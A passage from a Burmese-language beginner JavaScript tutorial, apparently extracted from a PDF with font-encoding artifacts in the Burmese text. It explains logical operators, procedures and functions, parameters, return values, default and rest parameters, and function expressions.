သူလုပ်ကြေပးနိုင်တာ နှစ်ခုထဲက တစ်ခုကို ကြေရးွကြေပးတာကြေလးပဲကြေလ။ အခုဆက်ကြေလ့လာeကမယ့် Logic  လုိ့ကြေခါ်
တဲ့ ကြေeကာင်းကျ ို းဆက်စပ်မှု သကြေyာသyာဝဟာလည်း ဆန်းgပားလှတဲ့သကြေyာ မဟုတ်ပါyူး။ နှစ်ခုရှိတယ်၊
တစ်ခုမှန်ရင် ရပြပီလား၊ နှစ်ခုလံုးမှန်မှ ရမှာလား၊ ဒါကြေလးပါပဲ။

ဒါကြေပမယ့် အ့ဲဒီရုိးရုိးကြေလးပါဆိုတဲ့ Boolean, Comparison နဲ့ Logic တိုက့ို ကြေပါင်းစပ်လုိက်တဲ့ အခါမှာကြေတာ့၊
မူလအသိဉာဏ်မရှိတဲ့  ကွန်ပျူတာ၊  သင်မကြေပးရင်  yာမှမတတ်တဲ့  ကွန်ပျူတာကို၊  အသိဉာဏ် ရှိသကဲ့သုိ့
ရှုပ်ကြေထွးဆန်းကျယ်တဲ့ ဆံုးgoတ်ချက်ကြေတွ ချမှတ်အလုပ်လုပ်နိုင်ကြေအာင် လမ်းညွှန် သင်eကား ခိုင်းကြေစ နိုင်သွား
မှာပါ။ 

သိပ်အ့ံeသပြပီး စိတ်လှုပ်ရှားစရာ ကြေကာင်းလှပါတယ်။ ကွန်ပျူတာပရုိင်္ဂရမ်းမင်းရဲ့ အနှစ်သာရဟာ ဒီကြေနရာမှာ
ကြေပါ်တာgoစ်ပြပီး၊  အ့ဲဒီအနှစ်သာရကို  gမင်လုိက်ရတဲ့အချနိ်မှာပဲ၊  တစ်ချ ို ့ကြေတွဟာ  သိပ်စိတ်လှုပ်ရှားတက်ကြကွ
သွားပြပီး ပရုိင်္ဂရမ်းမင်းကို  ခံုမင်နှစ်သက် မက်ကြေမာသွားeကကြေတာ့တာပါပဲ။ ဒီလုိ နှစ်သက်မက်ကြေမာ သွားမိeက
သူကြေတွဟာ အရည်အချင်းgပည့်ဝတဲ့ ပရုိင်္ဂရမ်မာ မလွဲမကြေသွ goစ်လာမယ်သူကြေတွပါပဲ။

JavaScript  မှာ  AND, OR  နဲ့  NOT  ဆိုတဲ့  Logical Operator (၃)  ခုရှိပါတယ်။  NOT  ကကြေတာ့ ဆန့်ကျင်
yက်ပါ။ Exclamation သကြေက[တကို NOT အကြေနနဲ့ သုံးပါတယ်။ ဒီလုိပါ။
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 JavaScript 

!true // false
!false // true

ဒါကိုနည်းနည်းပုိgမင်သာသွားကြေအာင် အခုလုိလည်း eကည့်နိုင်ပါတယ်။

 JavaScript 

let num = 3
num < 5 // true
!(num < 5) // false

num ရဲ့တန်oုိးဟာ 3 goစ်တဲ့အတွက် num < 5 ဆိုတဲ့နိှုင်းယှဉ်ချက်ကကြေန true ကိုgပန်ရပါတယ်။ သူ့ရဲ့ဆ
န့်ကျင်yက် NOT အကြေနနဲ့ ! သကြေက[တကို အသံုးgပုလုိက်တဲ့အခါ ဆန့်ကျင်yက်ရလဒ်goစ်တဲ့ false ကို gပန်
ရတာပဲ goစ်ပါတယ်။

AND  ကကြေတာ့  Expression  နှစ်ခုရဲ့  ရလဒ်မှာ နှစ်ခုလံုး  true  goစ်မှ  true  ကို  gပန်ကြေပးပြပီး၊  မဟုတ်ရင်ကြေတာ့
false  ကို gပန်ကြေပးပါတယ်။  နှစ်ခုမှာ နှစ်ခုလံုး မှန်ရမယ်ဆိုတဲ့  အဓိပ္ပါယ်ပါ။ သကြေက[တအကြေနနဲ့  Ampersand
နှစ်ခုတွဲကို && အသုံးgပုပါတယ်။ ဒီလုိပါ။

 JavaScript 

let num = 3

(num > 3) && (num < 5) // false && true → false
(num < 5) && (num > 3) // true && false → false
(num < 5) && (num == 3) // true && true → true

နမူနာမှာကြေပးထားတဲ့ AND Statement (၃) ခုမှာ Expression နှစ်ခုလံုး true goစ်တဲ့ Statement တစ်ခုသာ
ကြေနာက်ဆံုးရလဒ် true goစ်တာကို ကြေတွ့ ရမှာပဲ goစ်ပါတယ်။ လက်ကြေတွ့မှာ Expression ကြေတွကို ဝုိက်ကွင်းထဲ
မှာ မထည့်လည်း ရပါတယ်။
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 JavaScript 

let num = 3

num > 3 && num < 5 // false && true → false
num < 5 && num > 3 // true && false → false
num < 5 && num == 3 // true && true → true

OR    ကကြေတာ့    Expression    နှစ်ခုမှာ  တစ်ခု  မှန်တာနဲ့    true    ရလဒ်ကို  gပန်ကြေပးပါတယ်  ။  သကြေက[တအကြေနနဲ့
ကြေတာ့ Bar Character ကြေလးနှစ်ခုတွဲကို သံုးပါတယ်။ ဒီလုိပါ။

 JavaScript 

let num = 3

num > 3 || num < 5 // false || true → true
num < 3 || num > 3 // false || false → false
num < 5 || num == 3 // true || true → true

Express နှစ်ခုမှာ နှစ်ခုလံုး false goစ်တဲ့ Statement လဲွရင် ကျန် Statement ကြေတွမှာ true ရတာကို ကြေတွ့
ရမှာပဲ goစ်ပါတယ်။

လက်ကြေတွ့မှာ Logic Gate ကြေတွက ဒီထက်ပုိပါကြေသးတယ်။ AND, OR, NAND, NOR, XOR စသည်goင့် ရှိeက
ပါတယ်။ NAND ဆိုတာ NOT AND ကို ဆိုလုိတာမုိလုိ့့ သီးgခား Operator မလုိပါyူး။ NOT နဲ့ AND ကို တွဲ
သုံးလုိက်လုိရ့ပါတယ်။  NOR ဆိုတာ  NOT OR  ကို ဆိုလုိတာမုိလုိ့့  NOT  နဲ့  OR  ကို တွဲသံုးလုိက်လုိ့ ရနိုင်ပါ
တယ်။ ဒီလုိပါ – 

 JavaScript 

let num = 3

!(num > 3 || num < 5) // !(false || true → true) → false
!(num < 3 || num > 3) // !(false || false → false) → true
!(num < 5 || num == 3) // !(true || true → true) → false
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XOR ဆိုတာကကြေတာ့ Exclusive OR ဆိုတဲ့အဓိပ္ပါယ်ပါ။ OR နဲ့ ဆင်တူပါတယ်၊ Expression နှစ်ခုမှာ တစ်ခု
မှန်ရင်  true  ကိုရပါတယ်။  ဒါကြေပမယ့်  ခြခွင်းချက်ကကြေတာ့    Expression    နှစ်ခုမှာ  နှစ်ခုလံုး  မမှန်ရပါyူး  ။  ဒီ
အတွက်ကြေတာ့ JavaScript မှာ အသင့်ကြေပးထားတဲ့  Operator မရှိပါyူး။ Pseudocode အကြေနနဲ့ နမူနာ gပရ
ရင် ဒီလုိgပလုိ ့ရနိုင်ပါတယ်။ 

 Pseudocode 

let num = 3

num > 3 XOR num < 5 // false XOR true → true
num < 3 XOR num > 3 // false XOR false → false
num < 5 XOR num == 3 // true XOR true → false

Expression  နှစ်ခုလံုး  true  goစ်ကြေနတဲ့ ကြေနာက်ဆံုး  Statement  ရဲ့ရလဒ် false  goစ်ကြေနတာကို သတိgပုရမှာ
ပါ။ ဒါကကြေတာ့ ဗဟုသုတအကြေနနဲ ့ထည့်ကြေgပာတာပါ။ XOR ဆိုတဲ့ Operator က JavaScript မှာ မရှိပါyူး။

ဒီ  Logical  Operator  ကြေတွကို  Expression  နှစ်ခုထက်ပုိပြပီးကြေတာ့လည်း  တွဲသံုးလုိ့  ရနိုင်ပါတယ်။ တစ်ခုနဲ့
တစ်ခုလဲ ကြေပါင်းစပ်အသုံးgပုလုိ့ ရနိုင်ပါကြေသးတယ်။ ဒီလုိပါ။

 JavaScript 

let x = 3
let y = 5

x < y && y > 5 && x == 3
x < y && !(y > 5 && x == 3)
x < y && y > 5 || x == 3

ရလဒ်ကြေတွ  ထည့်ကြေရးမကြေပးကြေတာ့ပါyူး။  ကိုယ်တိုင်စိတ်ကူးနဲ့  အရင်အကြေgoရှာeကည့်လုိက်ပါ။  ကိုယ့်စိတ်ကူး
အကြေgo မှန်မမှန် သိရoုိအ့တွက် အကြေgoမှန်ကို Console မှချကြေရးပြပီး နိှုင်းယှဉ်eကည့်လုိက်ပါ။
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ဆက်လက်ပြပီးကြေတာ့ Procedure နဲ့ Function လုိ့ကြေခါ်တဲ့ သကြေyာသyာဝ ဆင်တူပြပီး ကြေနာက်ထပ် အကြေရးပါ
တဲ့ အကြေgခခံလုပ်ကြေဆာင်ချက်ကြေတွအကြေeကာင်း ဆက်eကပါမယ်။ Procedure ဆိုတာဟာ Statement ကြေတွကို
စုစည်းထားgခင်းပဲ goစ်ပါတယ်။ ဒီလုိစုစည်းoုိအ့တွက် တွန့်ကွင်း အoွင့်အပိတ်ကို အသံုးgပုeကကြေလ့ရှိပါတယ်။
လက်ကြေတွ့အသုံးချကုဒ်ကို  တိုက်ရုိက်eကည့်ရင်  ကြေခါင်းထဲမှာ  ပံုကြေoာ်ရ၊  gမင်eကည့်ရခက်ကြေနမှာစိုးလုိ့
Pseudocode ကြေလးတစ်ချ ို ့နဲ ့သကြေyာသyာဝပုိင်းကို အရင်ရှင်းgပချင်ပါတယ်။ ဒီလုိပါ -

 Pseudocode 

{
    let a = 1;
    let b = 2;
    print a + b;
}

ဒါဟာ Statement ကြေတွကို စုစည်းလုိက်တဲ့ နမူနာ ကုဒ် Block ကြေလးတစ်ခုပါပဲ။ ဒီလုိ့ သူ့အစုနဲသူ့ စုoဲွ့ထား
တဲ့ကုဒ် Block ကို အမည်တစ်ခု သတ်မှတ်ကြေပးနိုင်ပါတယ်။

 Pseudocode 

add {
    let a = 1;
    let b = 2;
    print a + b;
}

add ဆိုတဲ့အမည်တစ်ခု သတ်မှတ်ကြေပးလုိက်တာပါ။ အမည်သတ်မှတ်တဲ့အခါ ရုိးရုိး တန်oုိးတစ်ခုမဟုတ်yဲ
Procedure ဆိုတာ ကြေပါ်လွင်ကြေအာင် Keyword ကြေလးထည့်ကြေပးလုိက်ပါမယ်။
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 Pseudocode 

procedure add {
    let a = 1;
    let b = 2;
    print a + b;
}

Variable  ကြေတွကြေeကညာပြပီးရင် လုိအပ်တဲ့ကြေနရာမှာ အသုံးချနိုင်သလုိပဲ၊ အခုလုိ  Procedure  တစ်ခုကြေeကညာ
ထားမယ်ဆိုရင်  လုိအပ်တဲ့ကြေနရာကကြေန အသုံးချနိုင်မှာပါ။  ဒီ  Procedure  ကြေလးက နမူနာအရ  a  နဲ့  b  ကို
ကြေပါင်းကြေပးတဲ့  Procedure  goစ်လုိ့  ကြေနာက်ကို  a  နဲ့  b  ကြေပါင်းoုိလုိ့ရင်  ထပ်ကြေရးoုိ့  မလုိကြေတာ့ပါyူး။  ဒီ
Procedure ကို ကြေခါ်ယူအသုံးgပုလုိက်ယုံပါပဲ။ ဥပမာ အကြေနနဲ့ ဒီလုိကြေခါ်ရတယ်လုိ့ gမင်eကည့်လုိက်ပါ –

 Pseudocode 

call add;    // 3

call Keyword  နဲ့  add Procedure  ကိုအသုံးgပုအလုပ်လုပ်ကြေစလုိက်တဲ့အခါ  add Procedure  ထဲက
Statement  ကြေတွ  တန်းစီအလုပ်လုပ်သွားလုိ့  3  ဆိုတဲတ့န်oုိးကို  ထုတ်ကြေoာ်gပသတာ  goစ်ပါတယ်။
Procedure   ကြေတွ   Function   ကြေတဟွာ သတ်မှတ်လုိက်ယံုနဲ့ အလုပ်မလုပ်ကြေသးပါyူး။ ကြေခါ်ယူအသုံးgပုကြေတာ့မှ  
သာ အလုပ်လုပ်မှာ goစ်ပါတယ်။

ကြေပးထားတဲ့နမူနာဟာ  ကကြေလးကလားကြေတာ့  ဆန်းလွန်းကြေနပါလိမ့်မယ်။  ဒီကြေနရာမှာ  နမူနာgပတဲ့  ကုဒ်က
လက်ကြေတွ့  အသုံးဝင်/မဝင်  အဓိကမဟုတ်ပါyူး။  ရှင်းရှင်းလင်းလင်း  gမင်သင့်တဲ့  သကြေyာသyာဝကို  စ
ကတည်းက ရှင်းရှင်းလင်းလင်း gမင်ထားကြေစoုိအ့တွက်ပါ။ အခုဆိုရင် Procedure ဆိုတာyာလဲ ရှင်းသွားပါ
ပြပီ။  Procedure  ဆိုတာဟာ  Statement  ကြေတွကို  စုစည်းအမည်ကြေပးထားလုိ့  လုိအပ်တဲ့ကြေနရာမှာ gပန်လည်
အသုံးgပုနိုင်တဲ့ လုပ်ကြေဆာင်ချက်များပဲ goစ်ပါတယ်။

Function  ဆိုတာလည်း  Procedure  တစ်မျ ို းပါပဲ။  Procedure  ကြေတွက  ကြကိုတင်သတ်မှတ်ထားတဲ့
လုပ်ကြေဆာင်ချက်ကြေတွသာgoစ်ပါတယ်။  Function  ကြေတရွဲ့  ထူးgခားချက်ကကြေတာ့  ကြေပးလာတဲ့  တန်oုိးကို
လက်ခံပြပီး၊ အလုပ်လုပ်လုိရ့လာတဲ့ ရလဒ်ကို gပန်ကြေပးgခင်းပဲ goစ်ပါတယ်။ 
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 Pseudocode 

function add {
    let a = 1;
    let b = 2;
    print a + b;
}

ဒီတစ်ခါ Procedure မဟုတ်ကြေတာ့ပါyူး။ Function goစ်သွားပါပြပီ။ ဒါကြေပမယ့်၊  Function ရဲ့သကြေyာသyာ
ဝ အမှန်goစ်တဲ့  ကြေပးတဲ့တန်oုိးကို  လက်ခံတယ်ဆိုတဲ့  သကြေyာသyာဝ မပါကြေသးပါyူး။  ဒါကြေeကာင့်  အခုလုိ
gပင်လုိက်ပါမယ်။

 Pseudocode 

function add (x, y) {
    let a = x;
    let b = y;
    print a + b;
}

ဒီတစ်ခါမှာ add ဆိုတဲ့ အမည်ကြေနာက်ကကြေန ဝုိက်ကွင်းအoွင့်အပိတ်နဲ့ လက်ခံလုိတဲ့ တန်oုိးနှစ်ခု သတ်မှတ်
ထားပါတယ်။  x  နဲ့  y  goစ်ပါတယ်။  ဒီသကြေyာသyာဝကို  Function  Parameter    လုိ့ကြေခါ်ပါတယ်  ။  add
Function မှာ x နဲ့  y ဆိုတဲ့  Parameter နှစ်ခုရှိသွားတဲ့ သကြေyာပါ။ ဒါကြေeကာင့် ဒီ Function က x, y ဆိုတဲ့
တန်oုိးနှစ်ခုကို လက်ခံအလုပ်လုပ်နိုင်သွားပါပြပီ။ ကြေခါ်ယူအသံုးgပုတဲ့အခါ ဒီလုိသုံးနိုင်ပါတယ်။

 Pseudocode 

call add(2, 3);    // 5

ကြေစာကြေစာက  Procedure  လုိကြကိုတင်သတ်မှတ်ထားတဲ့  တန်oုိးကြေတွနဲ့  အလုပ်လုပ်တာ  မဟုတ်ကြေတာ့yဲ
ကြေပးလုိက်တဲ့ x တန်oုိး 2 နဲ့ y တန်oုိး 3 တိုက့ိုအကြေgခခံပြပီး အလုပ်လုပ်တာ goစ်သွားပါပြပီ။ ဒီလုိ Function   ကို  
ကြေခါ်ယူစဉ်မှာ  ကြေပးလုိက်တဲ့  တန်oုိးကြေတွကိုကြေတာ့    Arguments    လုိ့  ကြေခါ်ပါတယ်  ။  add ကို  ကြေခါ်တဲ့အခါ
Arguments အကြေနနဲ ့2 နဲ့ 3 တိုက့ို ကြေပးလုိက်တဲ့ဆိုတဲ့ အဓိပ္ပါယ်ပဲ goစ်ပါတယ်။
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တစ်ကယ်ကြေတာ့ ကြေခါ်သုံးတယ်ဆိုတာ ကြေပါ်လွင်ကြေအာင်  call Keyword  နဲ့  နမူနာgပတာပါ။ လက်ကြေတွ့မှာ
ထည့်စရာလုိအပ်ကြေလ့ မရှိပါyူး။ ဒါကြေeကာင့် နမူနာမှာ အသုံးgပုပုံနည်းနည်း ကြေgပာင်းလုိက်ပါမယ်။ ဒီလုိပါ – 

 Pseudocode 

add(2, 3);    // 5

ကြေနာက်ထပ် သတိgပုစရာ ကျန်ပါကြေသးတယ်။ ရလဒ်အကြေနနဲ့  5 ကို ကြေတွ့gမင်ရတယ်ဆိုတာ Function ထဲမှာ
print a + b ဆိုတဲ့ Statement ရှိကြေနလုိ့ ကြေပါင်းgခင်းရလဒ်ကို ထုတ်ကြေoာ် gပသတာပါ။ Function တစ်ခု
ရဲ့ သကြေyာသyာဝgoစ်တဲ့ ကြေခါ်ယူတဲ့အခါ ရလဒ် gပန်ကြေပးတယ်ဆိုတဲ့သကြေyာ မဟုတ်ကြေသးပါyူး။ ဒါကြေeကာင့်
အခုလုိ ထပ်ပြပီးကြေတာ့ gပင်လုိက်ပါဦးမယ်။ 

 Pseudocode 

function add (x, y) {
    let a = x;
    let b = y;
    return a + b;
}

ဒီတစ်ခါအသုံးgပုတဲ့  Keyword ကို င်္ဂရုgပုပါ။ return goစ်သွားပါပြပီ။ အဓိပ္ပါယ်ရ a + b ရလဒ်ကို gပန်ကြေပး
မယ်ဆိုတဲ့  အဓိပ္ပါယ်goစ်သွားတာပါ။  a  +  b  ရလဒ်ကို  ထုတ်ကြေoာ်gပသတာ မဟုတ်ကြေတာ့ပါyူး။  ဒါကြေeကာင့်
ကြေခါ်ယူအသုံးgပုပုံgပုနည်းလည်း နည်းနည်း ကြေgပာင်းသွားပါလိမ့်မယ်။ ဒီလုိပါ – 

 Pseudocode 

let result = add(2, 3);
result + 2;    // 7

add Function  ကို  ကြေခါ်ယူလုိက်တဲ့အခါ  Function  က ကြေပါင်းgခင်းရလဒ်ကို  gပန်ကြေပးထားလုိ၊့ gပန်ရလာတဲ့
ရလဒ်ကို  result Variable ထဲမှာ ထည့်ထားလုိက်တာပါ။ ဒီနည်းရဲ့ အားသာချက်ကကြေတာ့ ဒီ Result ကို
ကြေoာ်gပယုံတင် မဟုတ်ကြေတာ့yဲ ဆက်လက်ပြပီး လုိအပ်သလုိ အသုံးချသွားနိုင်gခင်းပဲ goစ်ပါတယ်။
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ကြေနာက်ဆံုးတစ်ခုအကြေနနဲ့  Function  သတ်မှတ်စဉ်မှာ  ထည့်သွင်းခဲ့တဲ့  Parameter  ကြေတွဟာ  Function  ရဲ့
Variable ကြေတွပဲမုိလုိ့့ တုိက်ရုိက်အသံုးgပုနိုင်ပါတယ်။ ဒါကြေeကာင့် x နဲ့  y ကို a နဲ့  b ထဲ တစ်ဆင့်ခံ ထည့်မကြေန
ကြေတာ့ပါyူး။ စလက်ခံကတည်းက a နဲ့  b  အကြေနနဲ့ တိုက်ရုိက်လက်ခံလုိက်လုိ့ ရပါတယ်။ ဒါကြေeကာင့် အခုလုိ
gပင်လုိက်ပါဦးမယ်။

 Pseudocode 

function add (a, b) {
    return a + b;
}

ဒါဆိုရင်ကြေတာ့ မလုိအပ်ကြေတာ့တဲ့ အဆင့်ကြေတွကြေလျာ့သွားလုိ့ ပုိရှင်းသွားပါပြပီ။ ကြေပးလာတဲ့  Argument နှစ်ခုကို
a နဲ့ b အgoစ် လက်ခံပြပီးကြေပါင်းပြပီး ရလဒ်ကိုgပန်ကြေပးတဲ့ Function တစ်ခုကို ရသွားgခင်းပဲ goစ်ပါတယ်။

င်္ဂဏန်းကြေလး  (၂)  ခုကြေပါင်းတာကြေလာက်ကကြေတာ့  Function  ကြေတွ  Procedure  ကြေတွ  မလုိအပ်ကြေသးပါyူး။  ဒီ
အတိုင်းတိုက်ရုိက်ကြေပါင်းလည်း ရတာပါပဲ။ ဒါကြေပမယ့် ရှုပ်ကြေထွးတဲ့လုပ်ကြေဆာင်ချက်ကြေတွကို အခုလုိ Function
ကြေတွ  Procedure  ကြေတွအကြေနနဲ့ စုစည်းကြေရးoဲွ့ထားမယ်ဆိုရင် ထပ်ခါထပ်ခါgပန်ကြေရးစရာမလုိတဲ့ အားသာချက်
ကို ရမှာပဲ goစ်ပါတယ်။

JavaScript  အပါအဝင်  Programming  Language  အများစုမှာ  Function  ကြေရးသားနည်းတစ်နည်း၊
Procedure  ကြေရးသားနည်း တစ်နည်းဆိုပြပီး  ခွဲထားeကကြေလ့ မရှိပါyူး။ တစ်နည်းထဲပဲ ထားeကပါတယ်။ နှစ်
မျ ို းခွဲပြပီးကြေတာ့လည်း ကြေခါ်မကြေနeကကြေတာ့ပါyူး။ နှစ်မျ ို းလံုးကိုခြခံုပြပီး Function လုိပဲ့ ကြေခါ်eကပါတယ်။ 

JavaScript Functions
အထက်မှာ နမူနာကြေရးgပခဲ့တဲ့  Pseudocode Function  ကြေတွထဲက ကြေနာက်ပုိင်းနမူနာကြေတွဟာ  JavaScript
Function  ကြေရးထုံးနဲ့  ကိုက်ညီကြေနပြပီး  goစ်ပါတယ်။  Function  တစ်ခုကြေeကညာoုိအ့တွက်  function
Keyword ကိုအသုံးgပု ကြေeကညာရပါတယ်။ Function အမည်ကို မိမိနှစ်သက်ရာအမည်ကြေပးနိုင်ပြပီး အမည်ရဲ့
ကြေနာက်မှာ ဝုိက်ကွင်းအoွင့်အပိတ်နဲ့  Parameter  ကြေတွ လုိက်ရပါတယ်။  Parameter  ကြေတွမပါyဲ  Function
ကြေeကညာလုိရင်  ဝုိက်ကွင်းအoွင့်အပိတ်ကို  အလွတ်အတိုင်း  ထည့်ကြေပးရပါတယ်။  မထည့်လုိ့မရပါyူး။
Function ရဲ့  Statement ကြေတွကိကုြေတာ့ တွန့်ကွင်း အoွင့်အပိတ်နဲ့ စုoဲွ့ပြပီး ကြေရးသားကြေပးရမှာပဲ goစ်ပါတယ်။
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အကယ်၍ Function ကကြေန ရလဒ်ကို gပန်ကြေပးလုိရင် return Keyword ကို အသံုးgပုနိုင်ပါတယ်။ Return
gပန်မကြေပးyဲကြေရးချင်ရင်လည်း ရပါတယ်။ နမူနာတစ်ချ ို ့ ကြေoာ်gပကြေပးလုိက်ပါတယ်။

 JavaScript 

function add(a, b) {
    return a + b
}

function circle(r) {
    const PI = 3.14
    return PI * r * r
}

function greet() {
    console.log("Hello, World!")
}

function sayHello(name) {
    console.log(`Hello ${name}`)
}

ကြေရးသားထားတဲ့  Function  ကြေတွကို ကြေခါ်ယူအသုံးgပုတဲ့အခါ  Function  အမည်နဲအ့တူ  Arguments  စာရင်း
ကို  ဝုိက်ကွင်းအoွင့်အပိတ်ထဲမှာ  ထည့်ပြပီး  ကြေခါ်ယူနိုင်ပါတယ်။  Argument  မရှိရင်လည်း  ဝုိက်ကွင်း
အoွင့်အပိတ် အလွတ်ကို ထည့်ကြေပးရပါတယ်။

 JavaScript 

add(7, 8) // 15
circle(3) // 28.26
greet()  // Hello, World
sayHello("Alice")  // Hello Alice

Function  ရဲ့အမည်ကြေပးပုံကြေပးနည်းဟာ  Variable  ကြေပးပုံကြေပးနည်းနဲ့  အတူတူပါပဲ။  စာလံုးအကြကီးအကြေသး
နှစ်သက်ရာ အသံုးgပုနိုင်ပြပီး ကိန်းင်္ဂဏန်းကြေတွလည်း ပါလုိရ့ပါတယ်။ ဒါကြေပမယ့် ကိန်းင်္ဂဏန်းနဲ့ စလုိ့မရသလုိ၊
Special  Character  ကြေတွ  Space  ကြေတွလည်း  ပါလုိမ့ရပါyူး။  လုိအပ်ရင်  Underscore  ကိုအသုံးgပုနိုင်ပါ
တယ်။  Special  Character  ကြေတွထဲက  ခြခွင်းချက်အကြေနနဲ့  $  သကြေက[တကိုကြေတာ့  လုိအပ်ရင်  ထည့်သွင်း
အသုံးgပုနိုင်ပါတယ်။
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return ကိုကြေတာ့  တစ်ချက်သတိgပုပါ။  Function  တစ်ခုဟာ  return နဲရ့လဒ်ကို  gပန်ကြေပးပြပီးရင်  သူ့
အလုပ် ပြပီးသွားပါပြပီ။ ဒါကြေeကာင့် return ရဲ့ကြေအာက်မှာ ဆက်ကြေရးထားတဲ့ ကုဒ်ကြေတွ ရှိကြေနရင် အလုပ်လုပ်မှာ
မဟုတ်ကြေတာ့ပါyူး။

 JavaScript 

function add(a, b) {
    console.log('Start adding')
    return a + b
    console.log('Done adding')
}

let result = add(1, 2)

နမူနာအရ Start adding ဆိုတဲ့စာကို ကြေoာ်gပမှာgoစ်ပြပီး a နဲ့  b ကြေပါင်းgခင်းကို gပန်ကြေပးလုိက်မှာပါ။ ဒါကြေပမယ့်
Done adding ဆိုတဲ့စာကို ကြေoာ်gပoုိည့ွှန်eကားထားတဲ့  Statement ကကြေတာ့ အလုပ်လုပ်မှာ မဟုတ်ကြေတာ့ပါ
yူး။ return နဲ့ တန်oုိးgပန်ကြေပးပြပီးပြပီမုိလုိ့ ့Function အလုပ်ပြပီးဆံုးသွားခဲ့ပြပီမုိလုိ့ပ့ါ။

Default & Rest Parameters
Function  ကြေတွကို  ကြေခါ်ယူအသုံးgပုတဲ့အခါ၊  ပံုမှန်အားgoင့်၊  ကြေeကညာစဉ်က  သတ်မှတ်ခဲ့တဲ့  Parameter
အကြေရအတွက်အတိုင်းပဲ  Argument အကြေရအတွက်ကို အတိအကျကြေပးရပါတယ်။ ပုိကြေပးခဲ့ရင် ပုိသွားတာကြေတွ
ကို ထည့်သွင်းအလုပ်လုပ်မှာ မဟုတ်သလုိ၊ လုိသွားခဲ့ရင်ကြေတာ့ မလုိလားအပ်တဲ့ အမှားကြေတွကို ကြကံုကြေတွ့ရပါ
လိမ့်မယ်။ 

function add(a, b) {
    return a + b
}

add(1, 2, 3, 4)   // 3
add(1)    // NaN

နမူနာအရ  add Function  ကိုကြေခါ်ယူတဲ့အခါ  Argument  နှစ်ခုကြေပးရမှာပါ။  ပုိကြေပးလုိက်တဲ့အခါ  ကျနတ်ဲ့
Argument ကြေတွကို ထည့်သွင်းအလုပ်မလုပ်တာကို ကြေတွ့ ရမှာ goစ်ပါတယ်။ လုိသွားတဲ့အခါမှာကြေတာ့ a နဲ့  b
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နှစ်ခုမှာ b အတွက် တန်oုိးမရှိကြေတာ့လုိ့  undefined goစ်သွားပါတယ်။ undefined နဲ့ ကိန်းင်္ဂဏန်းကို
ကြေပါင်းoုိ့ကြကိုးစားလုိက်တဲ့အခါ NaN ကို gပန်ရကြေနလုိ ့မှားကြေနပါပြပီ။

တစ်ချ ို ့ Programming Language ကြေတွမှာဆိုရင် Argument အကြေရအတွက် မgပည့်yဲ လုိသွားရင် အလုပ်မ
လုပ်yဲ  Error  goစ်ပါတယ်။  JavaScript  မှာ  Error  ကြေတာ့မgoစ်ပါyူး။  ဒါကြေပမယ့်  သတ်မှတ်ထားတဲ့
Argument  gပည့်စံုမှပဲ  ရလဒ်အမှန်ကို  ရမှာပါ။  ဒီကြေနရာမှာလုိအပ်ရင်  Default  Parameter  Value  ကို
သတ်မှတ်ကြေပးထားနိုင်ပါတယ်။ ဒီလုိပါ –

 JavaScript 

function add(a, b = 0) {
    return a + b
}

add(1, 2)    // 3
add(1)    // 1

Parameter သတ်မှတ်စဉ်မှာ b = 0 လုိ့ကြေgပာထားတဲ့အတွက် b မှာ Default Value ရှိသွားပါပြပီ။ ဒါကြေeကာင့်
b  အတွက်  Argument  မပါလာခဲ့ရင်  ဒီ  Default  Value  ကို  အသုံးgပုပြပီးကြေတာ့ အလုပ်လုပ်ကြေပးသွားမှာပါ။
ပါလာခဲ့ရင်ကြေတာ့ ပါလာတဲ့ Argument တန်oုိးကို အသံုးgပုကြေပးသွားမှာ goစ်ပါတယ်။

JavaScript မှာ Rest Parameter ဆိုတာရှိပါကြေသးတယ်။ ပါလာသမျှ Argument တန်oုိးအားလုံးကို လက်ခံ
ကြေပးနိုင်တဲ့ Parameter ပါ။ ဒီလုိကြေရးရပါတယ်။

 JavaScript 

function add(a, b, ...c) {
    console.log(c)
}

add(1, 2, 3, 4, 5)    // [3, 4, 5]

နမူနာအရ a, b နဲ့ c Parameter သုံးခုရှိပြပီး c ကို ...c ဆိုတဲ့ Rest Parameter ကြေရးထုံးနဲ့ ကြေရးသားထားပါ
တယ်။ ဒါကြေeကာင့် ပုိတဲ့  Argument အားလုံးကို  c က လက်ခံထားကြေပးမှာပါ။ နမူနာမှာ add Function ကို
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ကြေခါ်တဲ့အခါ  Argument (၅)  ခုကြေပးထားပါတယ်။ ပထမ Argument  က a goစ်သွားပြပီး ဒုတိယ Argument
က b goစ်သွားပါတယ်။ ကျန် Argument (၃) ခုကကြေတာ့ c ထဲကို အကုန်ကြေရာက်သွားတယ် ဆိုတာကို ကြေတွ့
ရမှာပဲ goစ်ပါတယ်။

Function Expressions
Function တစ်ခု ကြေeကညာလုိက်တယ်ဆိုတာဟာ Statement တစ်ခု တည်ကြေဆာက်လုိက်တာပါပဲ။ ထူးgခား
ချက်ကကြေတာ့  JavaScript  မှာ  Function  ကြေတွကို  Expression  လုိလဲ့  သကြေyာထား အသံုးgပုနိုင်ပါတယ်။
ဥပမာ - 1 + 2 ဆိုတဲ့ Expression ကို  Variable တစ်ခုထဲမှာ Assign လုပ်လုိက်လုိ့ ရသလုိပဲ Function ကို
လည်း Variable တစ်ခုထဲမှာ Assign လုပ်လုိက်လုိ ့ရနိုင်ပါတယ်။ ဒီလုိပါ –

 JavaScript 

let greet = function greeting() {
    console.log("Hello, World")
}

ဒါကြေeကာင့်  greet Variable  ထဲမှာ  Function  တစ်ခကုြေရာက်ရှိသွားပါပြပီ။  အ့ဲဒီ  greet Variable  ထဲက
Function ကို အလုပ်လုပ်ကြေစချင်ရင် အခုလုိ ကြေခါ်ယူကြေပးလုိ့ ရပါတယ်။

 JavaScript 

greet()    // Hello, World

ရုိးရုိး  Function  Statement  ကိုအသုံးgပုကြေeကညာထားတဲ့  Function  ကို  ကြေခါ်သလုိပဲ  ကြေခါ်ရတာပါ။  ဒီလုိ
Function ကို Expression အကြေနနဲ့ အသုံးgပုတဲ့အခါ Function အမည်ကို မလုိအပ်ရင် မထည့်လုိရ့ပါတယ်။
ဒီသကြေyာသyာဝကို    Anonymous  Function    လုိ့  ကြေခါ်ပါတယ်  ။  အမည်မ့ဲ  Function  မုိလုိ့့  Nameless
Function လုိလ့ည်း ကြေခါ်eကပါကြေသးတယ်။ ဒီလုိပါ –

 JavaScript 

let greet = function () {
    console.log("Hello, World")
}
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ကြေစာကြေစာက  ကုဒ်ပါပဲ။  function Keyword  ရဲ့ကြေနာက်မှာ  Function  Name  မပါကြေတာ့တာပါ။  ဒီလုိ
Function Expression ကြေတွကို အသုံးgပုပြပီးကြေတာ့ ကြေရးလုိရ့တဲ့ IIFE ကြေခါ် Immediately Invoked Function
